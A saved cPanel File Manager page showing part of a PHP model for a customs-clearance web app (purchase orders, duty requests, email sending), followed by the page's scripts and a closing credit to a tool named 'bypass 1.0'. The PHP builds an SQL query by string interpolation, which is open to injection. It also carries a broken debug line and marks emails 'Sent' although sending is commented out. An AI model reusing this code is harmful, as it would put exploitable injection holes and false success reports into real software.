        $query = "select IFNULL(carrier_web_link,'') as carrier_web_link from carrier where carrier_code like '$prefix_code%'";
        $Q = $this-&gt;db-&gt;query($query);
        $row = $Q-&gt;row();
        if ($Q-&gt;num_rows() &gt; 0) {
            $web = $row-&gt;carrier_web_link;
        }
        return $web;
    }

    function add_new_po($postdata) {

        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $quotation_details = $this-&gt;mastermodel-&gt;get_data_srow('cc_quotation', $postdata['quotation_id'], 'cc_quotation_id');
        $cc_po_date = $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_po_date']);

        $tblValues = array(
            'cc_po_id' =&gt; $masterid,
            'cc_enquiry_id' =&gt; $quotation_details-&gt;cc_enquiry_id,
            'cc_quotation_id' =&gt; $postdata['quotation_id'],
            'cc_po_customer_id' =&gt; $quotation_details-&gt;cc_quotation_customer_id,
            'cc_po_shipper_name' =&gt; $quotation_details-&gt;cc_quotation_shipper_name,
            'cc_po_shipper_address' =&gt; $quotation_details-&gt;cc_quotation_shipper_address,
            'cc_po_shipment_mode' =&gt; $quotation_details-&gt;cc_quotation_shipment_mode,
            'cc_po_shipment_term_id' =&gt; $quotation_details-&gt;cc_quotation_shipment_term_id,
            'cc_po_commodity' =&gt; $quotation_details-&gt;cc_quotation_commodity,
            'cc_po_equipment_type_id' =&gt; $quotation_details-&gt;cc_quotation_equipment_type_id,
            'cc_po_gross_weight' =&gt; $quotation_details-&gt;cc_quotation_gross_weight,
            'cc_po_net_weight' =&gt; $quotation_details-&gt;cc_quotation_net_weight,
            'cc_po_volume' =&gt; $quotation_details-&gt;cc_quotation_volume,
            'cc_po_no_pcs' =&gt; $quotation_details-&gt;cc_quotation_no_pcs,
            'cc_po_port_id' =&gt; $quotation_details-&gt;cc_quotation_port_id,
            'cc_po_date' =&gt; $cc_po_date,
            'cc_po_no' =&gt; $postdata['cc_po_no'],
            'cc_po_remarks' =&gt; $quotation_details-&gt;cc_quotation_remarks,
        );

        $this-&gt;db-&gt;insert('cc_purchase_order', $tblValues);



        $data['resfunction'] = 'search_cc_quotation';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function insert_duty_amount_translation($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $tblValues = array(
            'cc_job_register_id' =&gt; $postdata['cc_job_register_id'],
            'cc_job_register_status' =&gt; 'Under Clearance',
            'cc_job_register_send_to_port' =&gt; $this-&gt;mastermodel-&gt;convertdateformat($postdata['cc_job_register_send_to_port']),
            'cc_job_register_duty_amount' =&gt; $postdata['cc_job_register_duty_amount'],
        );
        $this-&gt;db-&gt;where('cc_job_register_id', $postdata['cc_job_register_id']);
        $this-&gt;db-&gt;update('cc_job_register', $tblValues);
        $data['resfunction'] = 'search_empty';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function change_request_status($duty_request_id, $status) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $tblValues = array(
            'cc_duty_received_inactive' =&gt; $status,
        );
        $this-&gt;db-&gt;where('cc_duty_request_id', $duty_request_id);
        $this-&gt;db-&gt;update('cc_duty_request', $tblValues);
        $data['resfunction'] = 'search_empty';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function change_notification_status($notification_id, $status) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $tblValues = array(
            'cc_customer_notification_inactive' =&gt; $status,
        );
        $this-&gt;db-&gt;where('cc_customer_notification_id', $notification_id);
        $this-&gt;db-&gt;update('cc_customer_notification', $tblValues);
        $data['resfunction'] = 'search_empty';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    function check_duty_pending($cc_job_id) {
        $this-&gt;db-&gt;where('cc_duty_request_job_id', $cc_job_id);
        $this-&gt;db-&gt;where('cc_duty_received_date !=', '');
        $Q = $this-&gt;db-&gt;get('cc_duty_request');
        return $Q-&gt;num_rows();
    }

    function send_email($postdata) {
        $data = array();
        $this-&gt;db-&gt;trans_begin();
        $this-&gt;load-&gt;library('mail');
        $from_details = $this-&gt;mastermodel-&gt;get_data_srow('user_emailsettings', $_SESSION['employee_id'], 'user_id');        
        $masterid = $this-&gt;mastermodel-&gt;insertmasterdata();
        $tbl1Values = array(
            'email_id' =&gt; $masterid,
            'email_subject' =&gt; $postdata['email_subject'],
            'email_contents' =&gt;$postdata['email_content'] ,
            'email_date' =&gt; date("Y-m-d H:i:s"),
            'to_address' =&gt;  $postdata['customer_email'],
            'cc_address' =&gt; $postdata['customer_email_cc'],
             'cc_id' =&gt; $postdata['cc_id'],
            'status' =&gt; 'Sent');
        $this-&gt;db-&gt;insert('emailreport', $tbl1Values);
        $to_address = array();
        $to_address = explode(',', $postdata['customer_email']);
        $cc_address = array();
        $cc_address = explode(',', $postdata['customer_email_cc']);
var_dump(postdata);
       // $this-&gt;mail-&gt;send("$postdata[email_content]", $postdata['email_subject'],$from_details-&gt;from_email,$from_details-&gt;from_name,$from_details-&gt;from_password,$from_details-&gt;smtp,$cc_address,$to_address);

        if ($postdata['tab_name'] == 'customer_notification')
            $data['resfunction'] = 'search_customer_notification';
        else
            $data['resfunction'] = 'search_duty_request';
        if ($this-&gt;db-&gt;trans_status() === FALSE) {
            $this-&gt;db-&gt;trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Sending Email';
            return $data;
        } else {
            $this-&gt;db-&gt;trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Email Send successfully';
            return $data;
        }
    }

}</textarea>
 </td>
</tr>
</tbody></table>
</form>

<script type="text/plain" id="general_encoding_changed_template">
<p>The system was unable to save your document in {old_charset} encoding. Most likely, your document contains characters incompatible with {old_charset}.</p>

<p>cPanel has upgraded your document to {new_charset} encoding. Please verify that the file opens correctly in your application.</p>

<p>To learn more about file encoding, visit <a href="http://go.cpanel.net/encoding">http://go.cpanel.net/encoding</a></p>
</script>



<img src="./cPanel X - File Manager_files/progress_bar.gif" class="preloadedImage">
<img src="./cPanel X - File Manager_files/check.png" class="preloadedImage">

<script id="cjt_error_dialog_template" type="text/plain">
<div class="error_notice">{error_html}</div>
</script>

<script id="cjt_http_error_dialog_template" type="text/plain">
<div class="error_notice http_error_notice">
    <div class="http_status">{status}: {status_text_html}</div>
    <div ><a href="javascript:void(0)" class="http_error_details_link">Show/hide details</a></div>
    <div class="cjt_error_details" style="display:none">
        <div class="url">URL ({method}):<pre>{url_html}</pre></div>
        <div class="post">Body: <pre>{post_html}</pre></div>
        <div class="response">Response:<pre>{response_html}</pre></div>
    </div>
</div>
</script>

<script>
CPANEL.application = "cpaneld";
YAHOO.lang.augmentObject( CPANEL.Locale.prototype.LEXICON, {"ERROR":"","An unknown error occurred.":"","[_1] …":"","Processing …":"","HTTP ERROR":"","Success!":"","Cancel":"","Proceed":"","Notice":"","OK":"","Error":""} );
</script>
<script src="./cPanel X - File Manager_files/ajaxapp-min.js"></script>

<script type="text/javascript">
var CHARSET = document.sform.charset.value;

if ( !window.LEXICON ) LEXICON = {};
LEXICON.charset_changed = "Character encoding change";
LEXICON.confirm_close   = "You have unsaved changes. Are you sure you want to close this window?";
LEXICON.reloading       = "Reloading…";

function loadfile(clicked_el) {
    var textarea = DOM.get("codewindow");
    if (textarea.value !== textarea.defaultValue) {
        var sure = confirm("Are you sure you wish to open a new file? You will lose any changes you have made.");
        if (!sure) { return; }
    }
    var filen = document.sform.path.value;
    var fpath = filen.split('/');;
    var filename = fpath.pop();
    var dir = fpath.join('/');
    var sdir = encodeURIComponent(dir);
    var sfilename = encodeURIComponent(filename);
    var charset = document.getElementById('charset').value;

    var pp = new CPANEL.ajax.Progress_Panel( DOM.generateId(), {
        status_html : "Reloading…",
        effect: CPANEL.ajax.FADE_MODAL
    } );
    if (clicked_el) {
        pp.show_from_source(clicked_el);
    }
    else {
        pp.show();
    }

    document.location.href="?dir=" + sdir + "&file=" + sfilename + '&file_charset=' + charset;
}

var LAST_NOTICE = null;

function loadfdata(clicked_el) {
    var path     = DOM.get("path");

    if ( CODEWINDOW.value === CODEWINDOW.defaultValue && path.value === path.defaultValue ) {
        LAST_NOTICE = new CPANEL.ajax.Dynamic_Notice({content:"You have made no changes to save.", level:"info", replaces:LAST_NOTICE});
        return;
    }

    var match = path.value.match(/^(.+)\/([^\/]+)$/);
    if ( !match ) {
        LAST_NOTICE = new CPANEL.ajax.Dynamic_Notice({content:"Invalid path.", level:"error", replaces:LAST_NOTICE});
        return;
    }

    var api_params = {
        module:   "Fileman",
        func:     "savefile",
        data:     {
            dir:           match[1],
            filename:      match[2],
            content:       window.editAreaLoader ? editAreaLoader.getValue("codewindow") : document.sform.page.value,
            utf8_fallback: 1,
            charset:       CHARSET
        },
        progress_panel: {
            zIndex:      2500,
            show_status: true,
            source_el:   clicked_el,
            status_html: "Saving “{the_file}”…".replace('{the_file}',match[2].html_encode()),
            success_notice_options: { replaces:LAST_NOTICE },
            before_success: function(result) {
                CODEWINDOW.defaultValue = CODEWINDOW.value;

                return check_for_encoding_change.call(
                    this,
                    CPANEL.ajax.templates.general_encoding_changed_template,
                    result.cpanel_data
                );
            }
        },
        callback: {
            success: function() { LAST_NOTICE = req.notice }
        }
    };

    var req = CPANEL.api( api_params );

    return false;
}
</script>

<script type="text/javascript" src="./cPanel X - File Manager_files/edit_area_full.js"></script>
<script type="text/javascript" src="./cPanel X - File Manager_files/edit_area_resizer.js"></script>
<script>
var editAreaEl='codewindow';
var lastResizeTime=0;
var lastResizeRequestTime=0;

function unhide_codewindow() {
    DOM.setStyle("codewindow","visibility","");
    if ( YAHOO.env.ua.ie ) fix_ie_margin();
    set_link_for_code();
};

var EditArea_config = {

    display: "later",
    EA_load_callback: "set_link_for_code",

    EA_toggle_on_callback: "set_link_for_code",
    EA_toggle_off_callback: "set_link_for_text",
    id: editAreaEl,
    start_highlight: true,
    allow_resize: "both",
    allow_toggle: false,
    language: "en",
    toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, word_wrap, |, help",
    syntax: "php",
    word_wrap: true
};

function load_EditArea() {
    //Set the code textarea width to 800px temporarily
    //so EditArea will size the edit area to that width.
    //This mimicks behavior of the old separate editit_code.html.
    if ( !CODEWINDOW) CODEWINDOW = DOM.get(editAreaEl);
    CODEWINDOW.style.visibility = "";
    CODEWINDOW.style.width = "800px";

    editAreaLoader.init(EditArea_config);


    textarea_sizer();

}

function fix_ie_margin() {
    //work around a bug in EditArea that sets a marginTop when it shouldn't.
    //The EA code has an exception for IE>7, but it kills detecting IE>7 early
    //on presuming that it will be able to force IE7 compatibility mode.
    //(Which it can't always do, actually.)
    if ( YAHOO.env.ua.ie > 7 ) {
        var iframe_window = DOM.get("frame_codewindow");
        iframe_window.contentDocument.getElementById("textarea").style.marginTop = "";
    }
}

function set_link_for_code() {
    DOM.get("switch_editor_control").innerHTML = "<img width=\"16\" src=\""+editor_icons.text+"\" /> Use text editor";
    if ( YAHOO.env.ua.ie ) fix_ie_margin();
    window.ea_shown = true;
}
function set_link_for_text() {
    DOM.get("switch_editor_control").innerHTML = "<img width=\"16\" src=\""+editor_icons.code+"\" /> Use code editor";
}

function toggle_EditArea(link) {
    var ea = editAreas[editAreaEl];

    if (!ea || !ea.displayed) {

        if ( !window.ea_shown ) {
            CODEWINDOW.style.visibility = "";
            CODEWINDOW.style.width = "800px";
        }

        editAreaLoader.toggle_on(editAreaEl);
        doResizeSoon();
        EVENT.removeListener( window, "resize", textarea_sizer );
        EVENT.addListener( window, "resize", doResizeSoon );
    }
    else {
        editAreaLoader.toggle_off(editAreaEl);
        CODEWINDOW.wrap = "soft";
        EVENT.removeListener( window, "resize", doResizeSoon );
        EVENT.addListener( window, "resize", textarea_sizer );
        textarea_sizer();
    }
}

var CODEWINDOW;
var codewindow_padding = YAHOO.env.ua.ie ? 3 : 0;
function textarea_sizer() {
    var pos = DOM.getXY(CODEWINDOW);
    var viewport_height = DOM.getViewportHeight();
    var viewport_width  = DOM.getViewportWidth();
    CODEWINDOW.style.width  = (viewport_width  - pos[0] - codewindow_padding) + "px";
    CODEWINDOW.style.height = (viewport_height - pos[1] - codewindow_padding) + "px";
}

var editor_icons = {
    code: "/cPanel_magic_revision_1312508567/frontend/x3/filemanager/img/icons/codeEditorB.gif",
    text: "/cPanel_magic_revision_1312508567/frontend/x3/filemanager/img/icons/Document 2 Edit 2.gif"
};

EVENT.throwErrors = true;
EVENT.onDOMReady( function() {
    CODEWINDOW = DOM.get(editAreaEl);
    var img = document.createElement("img");
    img.style.display = "none";

    img.src = editor_icons.text;
    EVENT.addListener( window, "resize", textarea_sizer );

    document.body.appendChild(img);
} );

YAHOO.util.Event.addListener(window, "load", load_EditArea);
//YAHOO.util.Event.addListener(window, "load", textarea_sizer);
</script>



<!-- cPanel [11.38] (pro,attracta) Copyright (c) 2013 cPanel, Inc. Licensed on gator4099.hostgator.com -->
<img src="./cPanel X - File Manager_files/Document 2 Edit 2.gif" style="display: none;"><div id="cjt_dynamicnotice_container" class="cjt-dynamicnotice-container cjt-notice-container"></div></body></html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net